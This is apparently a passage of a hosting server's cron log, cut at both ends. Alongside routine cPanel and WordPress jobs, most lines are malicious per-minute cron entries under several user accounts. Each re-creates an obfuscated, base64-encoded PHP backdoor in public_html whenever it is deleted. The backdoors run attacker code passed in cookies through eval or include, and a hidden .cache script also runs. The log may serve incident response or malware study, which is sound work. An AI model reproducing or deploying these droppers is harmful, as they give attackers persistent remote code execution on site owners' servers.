I6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:35:01 medusa CROND[8900]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 01:35:01 medusa CROND[8908]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:35:01 medusa CROND[8905]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 01:35:01 medusa CROND[8916]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:35:01 medusa CROND[8917]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:35:01 medusa CROND[8921]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:35:01 medusa CROND[8928]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:35:01 medusa CROND[8930]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:35:01 medusa CROND[8929]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:35:01 medusa CROND[8932]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:35:01 medusa CROND[8923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:36:02 medusa CROND[12711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:36:02 medusa CROND[12712]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:36:02 medusa CROND[12713]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:36:02 medusa CROND[12715]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:36:02 medusa CROND[12714]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:36:02 medusa CROND[12720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:36:02 medusa CROND[12721]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:36:02 medusa CROND[12722]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:36:02 medusa CROND[12735]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:36:02 medusa CROND[12736]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:36:02 medusa CROND[12741]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:36:02 medusa CROND[12749]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:36:02 medusa CROND[12750]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:36:02 medusa CROND[12761]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:37:01 medusa CROND[19442]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 01:37:02 medusa CROND[19539]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:37:02 medusa CROND[19540]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:37:02 medusa CROND[19542]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:37:02 medusa CROND[19543]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:37:02 medusa CROND[19544]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:37:02 medusa CROND[19546]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:37:02 medusa CROND[19545]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > 